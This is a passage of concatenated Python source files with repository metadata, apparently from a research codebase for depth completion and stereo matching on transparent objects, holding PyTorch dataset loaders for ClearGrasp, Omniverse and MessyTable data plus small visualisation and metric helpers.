inp_xyz_img = torch.from_numpy(inp_xyz_img).permute(2, 0, 1).float()\r\n # get corrupt depth and xyz. \r\n depth_corrupt_img = inp_depth_img * (1 - corrupt_mask_float)\r\n xyz_corrupt_img = inp_xyz_img * (1 - corrupt_mask_float)\r\n \r\n return depth_img, xyz_img, depth_corrupt_img, xyz_corrupt_img\r\n\r\n def process_label(self, mask):\r\n \"\"\" Process foreground_labels\r\n \"\"\"\r\n if len(mask.shape) == 3:\r\n mask = mask[:, :, 0]\r\n foreground_labels, num_components = connected_components(mask == 255)\r\n\r\n # Find the unique (nonnegative) foreground_labels, map them to {0, ..., K-1}\r\n unique_nonnegative_indices = np.unique(foreground_labels)\r\n mapped_labels = foreground_labels.copy()\r\n for k in range(unique_nonnegative_indices.shape[0]):\r\n mapped_labels[foreground_labels == unique_nonnegative_indices[k]] = k\r\n foreground_labels = mapped_labels\r\n\r\n foreground_labels = cv2.resize(foreground_labels, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n\r\n return foreground_labels\r\n\r\n def get_cam_params(self, json_filename, img_size):\r\n meta_data = json.load(open(json_filename, 'r'))\r\n # If the pixel is square, then fx=fy. Also note this is the cam params before scaling\r\n if 'camera' not in meta_data.keys() or 'field_of_view' not in meta_data['camera'].keys():\r\n fov_x = 1.2112585306167603\r\n fov_y = 0.7428327202796936\r\n else:\r\n fov_x = meta_data['camera']['field_of_view']['x_axis_rads']\r\n fov_y = meta_data['camera']['field_of_view']['y_axis_rads']\r\n if 'image' not in meta_data.keys():\r\n img_h = img_size[0]\r\n img_w = img_size[1]\r\n else:\r\n img_h = meta_data['image']['height_px']\r\n img_w = meta_data['image']['width_px']\r\n\r\n if 'camera' not in meta_data.keys() or 'world_pose' not in meta_data['camera'].keys() or \\\r\n 'rotation' not in meta_data['camera']['world_pose'].keys() or \\\r\n 'quaternion' not in meta_data['camera']['world_pose']['rotation'].keys():\r\n raise ValueError('No quaternion: {}'.format(json_filename))\r\n else:\r\n q = meta_data['camera']['world_pose']['rotation']['quaternion']\r\n quaternion = np.array([q[1],q[2],q[3],q[0]])\r\n r = R.from_quat(quaternion)\r\n rot_from_q = r.as_matrix().astype(np.float32)\r\n world_pose = np.array(meta_data['camera']['world_pose']['matrix_4x4']).astype(np.float32)\r\n \r\n fx = img_w*0.5 / np.tan(fov_x*0.5)\r\n fy = img_h*0.5 / np.tan(fov_y*0.5)\r\n cx = img_w*0.5\r\n cy = img_h*0.5\r\n camera_params = {\r\n 'fx': fx,\r\n 'fy': fy,\r\n 'cx': cx,\r\n 'cy': cy,\r\n 'yres': img_h,\r\n 'xres': img_w,\r\n 'world_pose': world_pose,\r\n 'rot_mat': rot_from_q,\r\n }\r\n return camera_params\r\n\r\n def __getitem__(self, idx):\r\n\r\n \r\n # RGB image\r\n rgb_filename = str(self.image_paths[idx])\r\n rgb_img = cv2.imread(rgb_filename)\r\n img_size = (rgb_img.shape[0], rgb_img.shape[1])\r\n # get image scale, (x_s, y_s)\r\n scale = (self.params['img_width'] / rgb_img.shape[1], self.params['img_height'] / rgb_img.shape[0])\r\n # RGB image processing\r\n rgb_img = self.process_rgb(rgb_img)\r\n\r\n # read transparent mask\r\n labels_filename = str(self.mask_paths[idx])\r\n mask = seg_utils.imread_indexed(labels_filename)\r\n foreground_labels = self.process_label(mask)\r\n corrupt_mask = foreground_labels.copy()\r\n corrupt_mask[corrupt_mask!=0] = 1\r\n # prepare corrupt mask\r\n corrupt_mask_float = torch.from_numpy(corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(corrupt_mask).long()\r\n\r\n # load cam data before scaling\r\n json_filename = str(self.json_paths[idx])\r\n camera_params = self.get_cam_params(json_filename, img_size)\r\n\r\n # Process Depth image\r\n depth_filename = str(self.depth_paths[idx])\r\n depth_img, xyz_img,\\\r\n depth_corrupt_img, xyz_corrupt_img = self.process_depth(depth_filename, camera_params, corrupt_mask_float)\r\n\r\n # valid mask\r\n valid_mask = 1 - corrupt_mask.copy()\r\n if self.exp_type == 'train' and self.params['use_data_augmentation'] and np.random.random() > 0.2:\r\n valid_mask = data_augmentation.dropout_random_ellipses_4mask(valid_mask, self.params)\r\n valid_mask_float = torch.from_numpy(valid_mask).unsqueeze(0).float()\r\n valid_mask_label = torch.from_numpy(valid_mask).long()\r\n\r\n if self.exp_type == 'train':\r\n if self.params['corrupt_table']:\r\n corrupt_mask = data_augmentation.dropout_random_ellipses_4corruptmask(corrupt_mask, self.params)\r\n # prepare corrupt mask\r\n corrupt_mask_float = torch.from_numpy(corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(corrupt_mask).long()\r\n elif self.params['corrupt_all_pix']:\r\n new_corrupt_mask = np.ones_like(corrupt_mask)\r\n # prepare corrupt mask\r\n corrupt_mask_float = torch.from_numpy(new_corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(new_corrupt_mask).long()\r\n\r\n \r\n # scale affect fx, fy, cx, cy\r\n camera_params['fx'] *= scale[0]\r\n camera_params['fy'] *= scale[1]\r\n camera_params['cx'] *= scale[0]\r\n camera_params['cy'] *= scale[1]\r\n \r\n # Used for evaluation\r\n item_path = rgb_filename\r\n \r\n assert rgb_filename.split('/')[-3] == labels_filename.split('/')[-3] == \\\r\n json_filename.split('/')[-3] == depth_filename.split('/')[-3],'{}, {}, {}, {}'.format(\r\n rgb_filename, labels_filename, json_filename, depth_filename)\r\n \r\n assert rgb_filename.split('/')[-1].split('-')[0] == labels_filename.split('/')[-1].split('-')[0] == \\\r\n json_filename.split('/')[-1].split('-')[0] == depth_filename.split('/')[-1].split('-')[0],'{}, {}, {}, {}'.format(\r\n rgb_filename, labels_filename, json_filename, depth_filename)\r\n\r\n sample = {\r\n 'rgb': rgb_img,\r\n 'depth_corrupt': depth_corrupt_img,\r\n 'xyz_corrupt': xyz_corrupt_img,\r\n 'depth': depth_img,\r\n 'xyz' : xyz_img,\r\n 'corrupt_mask': corrupt_mask_float,\r\n 'corrupt_mask_label': corrupt_mask_label,\r\n 'valid_mask': valid_mask_float,\r\n 'valid_mask_label': valid_mask_label,\r\n 'fx': camera_params['fx'],\r\n 'fy': camera_params['fy'],\r\n 'cx': camera_params['cx'],\r\n 'cy': camera_params['cy'],\r\n 'cam_rot': camera_params['rot_mat'],\r\n 'item_path': item_path,\r\n }\r\n return sample\r\n\r\n\r\n def __len__(self):\r\n return len(self.image_paths)\r\n\r\n\r\ndef get_dataset(dataset_dir, params, exp_type, obj_type='known'):\r\n # get dir list\r\n dataset_subdir = []\r\n if exp_type == 'train':\r\n dataset_subdir.append(osp.join(dataset_dir, 'cleargrasp-dataset-train'))\r\n elif exp_type in ['valid', 'test']:\r\n if obj_type == 'novel':\r\n dataset_subdir.append(osp.join(dataset_dir, 'cleargrasp-dataset-test-val', 'synthetic-test'))\r\n elif obj_type == 'known':\r\n dataset_subdir.append(osp.join(dataset_dir, 'cleargrasp-dataset-test-val', 'synthetic-val'))\r\n\r\n # set params\r\n params = params.copy()\r\n if exp_type != 'train':\r\n params['use_data_augmentation'] = False\r\n dataset = ClearGrasp_Syn_Object_Dataset(dataset_subdir, exp_type, params)\r\n return dataset\r\n", "id": "5504576", "language": "Python", "matching_score": 7.340822696685791, "max_stars_count": 34, "path": "src/datasets/cleargrasp_synthetic_dataset.py" }, { "content": "import os\r\nimport os.path as osp\r\nfrom glob import glob\r\nimport yaml\r\nfrom easydict import EasyDict as edict\r\nimport numpy as np\r\nimport cv2\r\nfrom scipy.ndimage.measurements import label as connected_components\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\n\r\n# My libraries\r\nimport utils.seg_utils as seg_utils\r\nimport utils.data_augmentation as data_augmentation\r\nimport constants\r\n\r\n\r\nclass ClearGrasp_Object_Dataset(Dataset):\r\n def __init__(self, dataset_subdir, exp_type, params):\r\n self.dataset_subdir = dataset_subdir\r\n self.exp_type = exp_type\r\n self.params = params\r\n\r\n self.image_paths, self.mask_paths, self.transparent_depth_paths, \\\r\n self.opaque_depth_paths, self.camera_intrinsics = self.list_dataset(self.dataset_subdir)\r\n\r\n print('{} images for cleargrasp dataset'.format(len(self.image_paths)))\r\n\r\n\r\n def list_dataset(self, data_path):\r\n image_paths = []\r\n mask_paths = []\r\n transparent_depth_paths = []\r\n opaque_depth_paths = []\r\n camera_intrinsics = {}\r\n for i in range(len(data_path)):\r\n for camera in ['d415', 'd435']:\r\n dirpath = osp.join(data_path[i], camera)\r\n if not osp.exists(dirpath):\r\n continue\r\n # collect transparent rgb, mask, depth paths\r\n cur_image_paths = sorted( glob(osp.join(dirpath, '*-transparent-rgb-img.jpg')) )\r\n cur_mask_paths = [p.replace('-transparent-rgb-img.jpg', '-mask.png') for p in cur_image_paths]\r\n cur_transparent_depth_paths = [p.replace('-transparent-rgb-img.jpg', '-transparent-depth-img.exr') for p in cur_image_paths]\r\n cur_opaque_depth_paths = [p.replace('-transparent-rgb-img.jpg', '-opaque-depth-img.exr') for p in cur_image_paths]\r\n \r\n image_paths += cur_image_paths\r\n mask_paths += cur_mask_paths\r\n transparent_depth_paths += cur_transparent_depth_paths\r\n opaque_depth_paths += cur_opaque_depth_paths\r\n\r\n # camera intrinsics\r\n if camera not in camera_intrinsics.keys():\r\n filename = osp.join(dirpath, 'camera_intrinsics.yaml')\r\n with open(filename, 'r') as f:\r\n intrinsics = edict(yaml.load(f, Loader=yaml.FullLoader))\r\n camera_intrinsics[camera] = intrinsics\r\n\r\n return image_paths, mask_paths, transparent_depth_paths, opaque_depth_paths, camera_intrinsics\r\n\r\n def process_rgb(self, rgb_img):\r\n \"\"\" Process RGB image\r\n - random color warping\r\n \"\"\"\r\n if self.exp_type == 'train' and self.params['use_data_augmentation'] and np.random.random() > 0.2:\r\n rgb_img = data_augmentation.chromatic_transform(rgb_img)\r\n rgb_img = data_augmentation.add_noise(rgb_img)\r\n\r\n rgb_img = cv2.resize(rgb_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_LINEAR)\r\n # BGR to RGB\r\n rgb_img = cv2.cvtColor(rgb_img, cv2.COLOR_BGR2RGB)\r\n # normalize by mean and std\r\n rgb_img = data_augmentation.standardize_image(rgb_img)\r\n rgb_img = data_augmentation.array_to_tensor(rgb_img) # Shape: [3 x H x W]\r\n\r\n return rgb_img\r\n\r\n def process_label(self, mask):\r\n \"\"\" Process foreground_labels\r\n \"\"\"\r\n if len(mask.shape) == 3:\r\n mask = mask[:, :, 0]\r\n foreground_labels, num_components = connected_components(mask == 255)\r\n\r\n # Find the unique (nonnegative) foreground_labels, map them to {0, ..., K-1}\r\n unique_nonnegative_indices = np.unique(foreground_labels)\r\n mapped_labels = foreground_labels.copy()\r\n for k in range(unique_nonnegative_indices.shape[0]):\r\n mapped_labels[foreground_labels == unique_nonnegative_indices[k]] = k\r\n foreground_labels = mapped_labels\r\n\r\n foreground_labels = cv2.resize(foreground_labels, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n\r\n return foreground_labels\r\n\r\n\r\n def __getitem__(self, idx):\r\n \r\n rgb_filename = str(self.image_paths[idx])\r\n rgb_img = cv2.imread(rgb_filename)\r\n img_size = (rgb_img.shape[0], rgb_img.shape[1])\r\n # get image scale, (x_s, y_s)\r\n scale = (self.params['img_width'] / rgb_img.shape[1], self.params['img_height'] / rgb_img.shape[0])\r\n # RGB image processing\r\n rgb_img = self.process_rgb(rgb_img)\r\n\r\n # Label\r\n labels_filename = str(self.mask_paths[idx])\r\n mask = seg_utils.imread_indexed(labels_filename)\r\n foreground_labels = self.process_label(mask)\r\n corrupt_mask = foreground_labels.copy()\r\n corrupt_mask[corrupt_mask!=0] = 1\r\n corrupt_mask_float = torch.from_numpy(corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(corrupt_mask).long()\r\n\r\n # load cam before scaling\r\n if 'd415' in rgb_filename:\r\n camera_params = self.camera_intrinsics['d415']\r\n else:\r\n camera_params = self.camera_intrinsics['d435']\r\n\r\n # Transparent Depth image\r\n transparent_depth_filename = str(self.transparent_depth_paths[idx])\r\n depth_corrupt_img = data_augmentation.exr_loader(transparent_depth_filename, 1)\r\n # clean NaN value\r\n depth_corrupt_img[np.isnan(depth_corrupt_img)] = 0.\r\n xyz_corrupt_img = data_augmentation.compute_xyz(depth_corrupt_img, camera_params)\r\n # scale depth and xyz\r\n depth_corrupt_img = cv2.resize(depth_corrupt_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n xyz_corrupt_img = cv2.resize(xyz_corrupt_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n \r\n # generate corrupt mask\r\n valid_mask = 1 - corrupt_mask\r\n valid_mask[depth_corrupt_img==0] = 0\r\n valid_mask_float = torch.from_numpy(valid_mask).unsqueeze(0).float()\r\n valid_mask_label = torch.from_numpy(valid_mask).long()\r\n\r\n depth_corrupt_img = torch.from_numpy(depth_corrupt_img).unsqueeze(0).float()\r\n xyz_corrupt_img = torch.from_numpy(xyz_corrupt_img).permute(2, 0, 1).float()\r\n\r\n # Opaque Depth image (GT depth image)\r\n opaque_depth_filename = str(self.opaque_depth_paths[idx])\r\n depth_img = data_augmentation.exr_loader(opaque_depth_filename, 1)\r\n # clean NaN value\r\n depth_img[np.isnan(depth_img)] = 0.\r\n xyz_img = data_augmentation.compute_xyz(depth_img, camera_params)\r\n depth_img = cv2.resize(depth_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n xyz_img = cv2.resize(xyz_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n depth_img = torch.from_numpy(depth_img).unsqueeze(0).float()\r\n xyz_img = torch.from_numpy(xyz_img).permute(2, 0, 1).float()\r\n\r\n # scale affect fx, fy, cx, cy\r\n scaled_fx = camera_params['fx'] * scale[0]\r\n scaled_fy = camera_params['fy'] * scale[1]\r\n scaled_cx = camera_params['cx'] * scale[0]\r\n scaled_cy = camera_params['cy'] * scale[1]\r\n \r\n # Used for evaluation\r\n dir_type = rgb_filename.split('/')[-3]\r\n camera_type = rgb_filename.split('/')[-2]\r\n img_id = rgb_filename.split('/')[-1].split('-')[0]\r\n item_path = '{}_{}_{}'.format(dir_type, camera_type,img_id)\r\n \r\n sample = {\r\n 'rgb': rgb_img,\r\n 'depth_corrupt': depth_corrupt_img,\r\n 'xyz_corrupt': xyz_corrupt_img,\r\n 'depth': depth_img,\r\n 'xyz' : xyz_img,\r\n 'corrupt_mask': corrupt_mask_float,\r\n 'corrupt_mask_label': corrupt_mask_label,\r\n 'valid_mask': valid_mask_float,\r\n 'valid_mask_label': valid_mask_label,\r\n 'fx': scaled_fx,\r\n 'fy': scaled_fy,\r\n 'cx': scaled_cx,\r\n 'cy': scaled_cy,\r\n 'item_path': item_path,\r\n }\r\n return sample\r\n\r\n\r\n def __len__(self):\r\n return len(self.image_paths)\r\n\r\n\r\ndef get_dataset(dataset_dir, params, exp_type, obj_type='known'):\r\n # get dir list\r\n dataset_subdir = []\r\n if exp_type == 'train':\r\n raise NotImplementedError('Real Data does not support train data.')\r\n else:\r\n if obj_type == 'novel':\r\n dataset_subdir.append(osp.join(dataset_dir, 'cleargrasp-dataset-test-val', 'real-test'))\r\n elif obj_type == 'known':\r\n dataset_subdir.append(osp.join(dataset_dir, 'cleargrasp-dataset-test-val', 'real-val'))\r\n else:\r\n raise NotImplementedError('OBJ type not supported.')\r\n\r\n # set params\r\n params = params.copy()\r\n if exp_type != 'train':\r\n params['use_data_augmentation'] = False\r\n dataset = ClearGrasp_Object_Dataset(dataset_subdir, exp_type, params)\r\n return dataset\r\n", "id": "689753", "language": "Python", "matching_score": 1.803378701210022, "max_stars_count": 34, "path": "src/datasets/cleargrasp_dataset.py" }, { "content": "import os\r\nimport os.path as osp\r\nfrom glob import glob\r\nimport numpy as np\r\nimport cv2\r\nimport h5py\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\n\r\n\r\n# My libraries\r\nimport datasets.cleargrasp_synthetic_dataset as cleargrasp_syn\r\nimport datasets.cleargrasp_dataset as cleargrasp\r\nimport datasets.omniverse_dataset as omniverse\r\nimport constants\r\n\r\nclass MixedDataset(Dataset):\r\n def __init__(self, cleargrasp_root_dir, omniverse_root_dir, params, exp_type):\r\n self.params = params\r\n self.exp_type = exp_type\r\n self.cleargrasp_syn_dataset = cleargrasp_syn.get_dataset(cleargrasp_root_dir, self.params, exp_type=self.exp_type)\r\n self.omniverse_dataset = omniverse.get_dataset(omniverse_root_dir, self.params, exp_type=self.exp_type)\r\n self.cleargrasp_syn_len = self.cleargrasp_syn_dataset.__len__()\r\n self.omniverse_len = self.omniverse_dataset.__len__()\r\n\r\n def __getitem__(self, idx):\r\n if idx < self.cleargrasp_syn_len:\r\n return self.cleargrasp_syn_dataset.__getitem__(idx)\r\n else:\r\n return self.omniverse_dataset.__getitem__(idx-self.cleargrasp_syn_len)\r\n\r\n\r\n def __len__(self):\r\n return self.cleargrasp_syn_len + self.omniverse_len\r\n\r\n\r\ndef get_dataset(cleargrasp_root_dir, omniverse_root_dir, params, exp_type):\r\n # set params\r\n params = params.copy()\r\n if exp_type != 'train':\r\n params['use_data_augmentation'] = False\r\n\r\n dataset = MixedDataset(cleargrasp_root_dir, omniverse_root_dir, params, exp_type)\r\n return dataset\r\n", "id": "11700242", "language": "Python", "matching_score": 1.152905821800232, "max_stars_count": 34, "path": "src/datasets/mixed_dataset.py" }, { "content": "import numpy as np\r\nimport os.path as osp\r\n\r\n''' DATA INFO '''\r\nDATASET_NAME = {\r\n 'cleargrasp': 'cleargrasp',\r\n 'cleargrasp_synthetic': 'cleargrasp',\r\n}\r\n\r\n''' IMG_MEAN, IMG_NORM '''\r\nIMG_MEAN = [0.485, 0.456, 0.406]\r\nIMG_NORM = [0.229, 0.224, 0.225]\r\n\r\n# GRID RANGE\r\nXMIN = [-1,-1,0]\r\nXMAX = [1,1,2]\r\n\r\n", "id": "11674571", "language": "Python", "matching_score": 0.3518979251384735, "max_stars_count": 34, "path": "src/constants.py" }, { "content": "\"\"\"\nAuthor: <NAME> 7/18/21\nFeature: Load data from messy-table-dataset\n\"\"\"\n\nimport numpy as np\nimport random\nfrom PIL import Image\nimport torch\nimport torchvision.transforms as Transforms\nfrom torch.utils.data import Dataset, DataLoader\nfrom utils.messytable_dataset_config import cfg\nfrom utils.messytable_util import get_split_files, load_pickle\n\n\ndef __data_augmentation__(gaussian_blur=False, color_jitter=False):\n \"\"\"\n :param gaussian_blur: Whether apply gaussian blur in data augmentation\n :param color_jitter: Whether apply color jitter in data augmentation\n Note:\n If you want to change the parameters of each augmentation, you need to go to config files,\n e.g. configs/remote_train_config.yaml\n \"\"\"\n transform_list = [\n Transforms.ToTensor()\n ]\n if gaussian_blur:\n gaussian_sig = random.uniform(cfg.DATA_AUG.GAUSSIAN_MIN, cfg.DATA_AUG.GAUSSIAN_MAX)\n transform_list += [\n Transforms.GaussianBlur(kernel_size=cfg.DATA_AUG.GAUSSIAN_KERNEL, sigma=gaussian_sig)\n ]\n if color_jitter:\n bright = random.uniform(cfg.DATA_AUG.BRIGHT_MIN, cfg.DATA_AUG.BRIGHT_MAX)\n contrast = random.uniform(cfg.DATA_AUG.CONTRAST_MIN, cfg.DATA_AUG.CONTRAST_MAX)\n transform_list += [\n Transforms.ColorJitter(brightness=[bright, bright],\n contrast=[contrast, contrast])\n ]\n # Normalization\n transform_list += [\n Transforms.Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225],\n )\n ]\n custom_augmentation = Transforms.Compose(transform_list)\n return custom_augmentation\n\n\nclass MessytableDataset(Dataset):\n def __init__(self, split_file, gaussian_blur=False, color_jitter=False, debug=False, sub=100):\n \"\"\"\n :param split_file: Path to the split .txt file, e.g. train.txt\n :param gaussian_blur: Whether apply gaussian blur in data augmentation\n :param color_jitter: Whether apply color jitter in data augmentation\n :param debug: Debug mode, load less data\n :param sub: If debug mode is enabled, sub will be the number of data loaded\n \"\"\"\n self.img_L, self.img_R, self.img_depth_l, self.img_depth_r, self.img_meta, self.img_label = \\\n get_split_files(split_file, debug, sub, isTest=False)\n self.gaussian_blur = gaussian_blur\n self.color_jitter = color_jitter\n\n def __len__(self):\n return len(self.img_L)\n\n def __getitem__(self, idx):\n img_L_rgb = np.array(Image.open(self.img_L[idx]))[:, :, :-1]\n img_R_rgb = np.array(Image.open(self.img_R[idx]))[:, :, :-1]\n img_depth_l = np.array(Image.open(self.img_depth_l[idx])) / 1000 # convert from mm to m\n img_depth_r = np.array(Image.open(self.img_depth_r[idx])) / 1000 # convert from mm to m\n img_meta = load_pickle(self.img_meta[idx])\n\n # Convert depth map to disparity map\n extrinsic_l = img_meta['extrinsic_l']\n extrinsic_r = img_meta['extrinsic_r']\n intrinsic_l = img_meta['intrinsic_l']\n baseline = np.linalg.norm(extrinsic_l[:, -1] - extrinsic_r[:, -1])\n focal_length = intrinsic_l[0, 0] / 2\n\n mask = img_depth_l > 0\n img_disp_l = np.zeros_like(img_depth_l)\n img_disp_l[mask] = focal_length * baseline / img_depth_l[mask]\n mask = img_depth_r > 0\n img_disp_r = np.zeros_like(img_depth_r)\n img_disp_r[mask] = focal_length * baseline / img_depth_r[mask]\n\n # random crop the image to 256 * 512\n h, w = img_L_rgb.shape[:2]\n th, tw = cfg.ARGS.CROP_HEIGHT, cfg.ARGS.CROP_WIDTH\n x = random.randint(0, h - th)\n y = random.randint(0, w - tw)\n img_L_rgb = img_L_rgb[x:(x+th), y:(y+tw)]\n img_R_rgb = img_R_rgb[x:(x+th), y:(y+tw)]\n img_disp_l = img_disp_l[2*x: 2*(x+th), 2*y: 2*(y+tw)] # depth original res in 1080*1920\n img_depth_l = img_depth_l[2*x: 2*(x+th), 2*y: 2*(y+tw)]\n img_disp_r = img_disp_r[2*x: 2*(x+th), 2*y: 2*(y+tw)]\n img_depth_r = img_depth_r[2*x: 2*(x+th), 2*y: 2*(y+tw)]\n\n # Get data augmentation\n custom_augmentation = __data_augmentation__(self.gaussian_blur, self.color_jitter)\n\n item = {}\n item['img_L'] = custom_augmentation(img_L_rgb)\n item['img_R'] = custom_augmentation(img_R_rgb)\n item['img_disp_l'] = torch.tensor(img_disp_l, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_depth_l'] = torch.tensor(img_depth_l, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_disp_r'] = torch.tensor(img_disp_r, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_depth_r'] = torch.tensor(img_depth_r, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['prefix'] = self.img_L[idx].split('/')[-2]\n item['focal_length'] = torch.tensor(focal_length, dtype=torch.float32).unsqueeze(0).unsqueeze(0).unsqueeze(0)\n item['baseline'] = torch.tensor(baseline, dtype=torch.float32).unsqueeze(0).unsqueeze(0).unsqueeze(0)\n\n return item\n\n\nif __name__ == '__main__':\n cdataset = MessytableDataset(cfg.SPLIT.TRAIN)\n item = cdataset.__getitem__(0)\n print(item['img_L'].shape)\n print(item['img_R'].shape)\n print(item['img_disp_l'].shape)\n print(item['prefix'])\n print(item['img_ground_mask'])\n", "id": "2852077", "language": "Python", "matching_score": 6.7129597663879395, "max_stars_count": 1, "path": "CasStereoNet/datasets/messytable_dataset.py" }, { "content": "\"\"\"\nAuthor: <NAME> 7/19/21\nFeature: Load data from messy-table-dataset\n\"\"\"\n\nimport numpy as np\nfrom PIL import Image\nimport torch\nimport torchvision.transforms as Transforms\nfrom torch.utils.data import Dataset, DataLoader\nfrom utils.messytable_dataset_config import cfg\nfrom utils.messytable_util import get_split_files, load_pickle\n\n\nclass MessytableTestDataset(Dataset):\n def __init__(self, split_file, debug=False, sub=100, isTest=False, onReal=False):\n self.img_L, self.img_R, self.img_depth_l, self.img_depth_r, self.img_meta, self.img_label = \\\n get_split_files(split_file, debug, sub, isTest, onReal)\n self.isTest = isTest\n self.onReal = onReal\n self.normalize_transform = Transforms.Compose([\n Transforms.ToTensor(),\n Transforms.Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225],\n ),\n ])\n\n def __len__(self):\n return len(self.img_L)\n\n def __getitem__(self, idx):\n if self.onReal:\n img_L_rgb = np.array(Image.open(self.img_L[idx]).convert(mode='RGB'))\n img_R_rgb = np.array(Image.open(self.img_R[idx]).convert(mode='RGB'))\n else:\n img_L_rgb = np.array(Image.open(self.img_L[idx]))[:, :, :-1]\n img_R_rgb = np.array(Image.open(self.img_R[idx]))[:, :, :-1]\n\n img_depth_l = np.array(Image.open(self.img_depth_l[idx])) / 1000 # convert from mm to m\n img_depth_r = np.array(Image.open(self.img_depth_r[idx])) / 1000 # convert from mm to m\n img_meta = load_pickle(self.img_meta[idx])\n img_label = np.array(Image.open(self.img_label[idx]))\n\n # Convert depth map to disparity map\n extrinsic_l = img_meta['extrinsic_l']\n extrinsic_r = img_meta['extrinsic_r']\n intrinsic_l = img_meta['intrinsic_l']\n baseline = np.linalg.norm(extrinsic_l[:, -1] - extrinsic_r[:, -1])\n focal_length = intrinsic_l[0, 0] / 2\n\n mask = img_depth_l > 0\n img_disp_l = np.zeros_like(img_depth_l)\n img_disp_l[mask] = focal_length * baseline / img_depth_l[mask]\n mask = img_depth_r > 0\n img_disp_r = np.zeros_like(img_depth_r)\n img_disp_r[mask] = focal_length * baseline / img_depth_r[mask]\n\n item = {}\n item['img_L'] = self.normalize_transform(img_L_rgb)\n item['img_R'] = self.normalize_transform(img_R_rgb)\n item['img_disp_l'] = torch.tensor(img_disp_l, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_depth_l'] = torch.tensor(img_depth_l, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_disp_r'] = torch.tensor(img_disp_r, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_depth_r'] = torch.tensor(img_depth_r, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['img_label'] = torch.tensor(img_label, dtype=torch.float32).unsqueeze(0) # [bs, 1, H, W]\n item['prefix'] = self.img_L[idx].split('/')[-2]\n item['focal_length'] = torch.tensor(focal_length, dtype=torch.float32).unsqueeze(0).unsqueeze(0).unsqueeze(0)\n item['baseline'] = torch.tensor(baseline, dtype=torch.float32).unsqueeze(0).unsqueeze(0).unsqueeze(0)\n\n return item\n\n\n\ndef get_test_loader(split_file, debug=False, sub=100, isTest=False, onReal=False):\n \"\"\"\n :param split_file: split file\n :param debug: Whether on debug mode, load less data\n :param sub: If on debug mode, how many items to load into dataset\n :param isTest: Whether on test, if test no random crop on input image\n :param onReal: Whether test on real dataset, folder and file name are different\n :return: dataloader\n \"\"\"\n messytable_dataset = MessytableTestDataset(split_file, debug, sub, isTest=isTest, onReal=onReal)\n loader = DataLoader(messytable_dataset, batch_size=1, num_workers=1)\n return loader\n\n\nif __name__ == '__main__':\n cdataset = MessytableTestDataset(cfg.SPLIT.VAL, isTest=True, onReal=True)\n item = cdataset.__getitem__(0)\n print(item['img_L'].shape)\n print(item['img_R'].shape)\n print(item['img_disp_l'].shape)\n print(item['prefix'])\n", "id": "10669489", "language": "Python", "matching_score": 1.5967638492584229, "max_stars_count": 1, "path": "CasStereoNet/datasets/messytable_test_dataset.py" }, { "content": "import open3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\nimport pickle\nimport utils\n\ndef load_pickle(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\ndepth = np.array(Image.open('126label.png'))/ 1000\n\nmeta = load_pickle('meta126.pkl')\n\nintrinsic = meta['intrinsic']\nz = depth\n\nv, u = np.indices(z.shape)\nuv1 = np.stack([u + 0.5, v + 0.5, np.ones_like(z)], axis=-1)\npoints_viewer = uv1 @ np.linalg.inv(intrinsic).T * z[..., None] # [H, W, 3]\nprint(np.unique(depth))\nmask_depth = (depth > 0.) & (depth < 2)\n\npoints_viewer = points_viewer[mask_depth]\nprint(np.unique(points_viewer))\nprint(points_viewer.shape)\n\n# points = open3d.utility.Vector3dVector(points_viewer.reshape([-1, 3]))\n#\n# pcd = open3d.geometry.PointCloud()\n# pcd.points = points\n#\n# open3d.visualization.draw_geometries([pcd])\n\nplt.imshow(depth)\nplt.show()\n", "id": "2231366", "language": "Python", "matching_score": 1.9033008813858032, "max_stars_count": 0, "path": "pc.py" }, { "content": "import numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\n\nif __name__ == \"__main__\":\n depth = np.array(Image.open('126gt.png'))/ 1000\n pred = np.array(Image.open('126.png'))/1000\n\n print(np.unique(np.array(Image.open('126label.png'))))\n label = Image.open('126label.png').resize((960,540), resample=Image.NEAREST)\n label = np.array(label)\n for x in np.unique(label):\n print(x)\n temp = pred.copy()\n temp[label!=x] = 0\n\n plt.imshow(temp)\n plt.show()\n", "id": "3949474", "language": "Python", "matching_score": 0.19774703681468964, "max_stars_count": 0, "path": "onlyobject.py" }, { "content": "import torch\nimport torch.nn.functional as F\nfrom utils.experiment import make_nograd_func\nfrom torch.autograd import Variable\nfrom torch import Tensor\nimport numpy as np\n\n\n# Update D1 from >3px to >=3px & >5%\n# matlab code:\n# E = abs(D_gt - D_est);\n# n_err = length(find(D_gt > 0 & E > tau(1) & E. / abs(D_gt) > tau(2)));\n# n_total = length(find(D_gt > 0));\n# d_err = n_err / n_total;\n\ndef check_shape_for_metric_computation(*vars):\n assert isinstance(vars, tuple)\n for var in vars:\n assert len(var.size()) == 3\n assert var.size() == 